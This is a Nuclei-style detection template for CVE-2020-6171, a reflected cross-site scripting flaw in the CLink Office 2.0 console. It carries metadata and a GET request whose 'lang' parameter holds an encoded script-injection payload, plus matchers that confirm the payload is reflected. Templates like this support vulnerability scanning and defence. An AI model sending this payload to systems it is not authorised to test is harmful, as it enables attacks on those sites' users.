id: CVE-2020-6171

info:
  name: CLink Office v2 XSS
  author: pikpikcu
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the index page of the CLink Office 2.0 management console allows remote attackers to inject arbitrary web script or HTML via the lang parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6171
    - https://www.deepcode.ca/index.php/2020/04/07/cve-2020-xss-in-clink-office-v2/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-6171
    cwe-id: CWE-79
  tags: cve,cve2020,xss,clink-office

requests:
  - method: GET
    path:
      - "{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"></script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html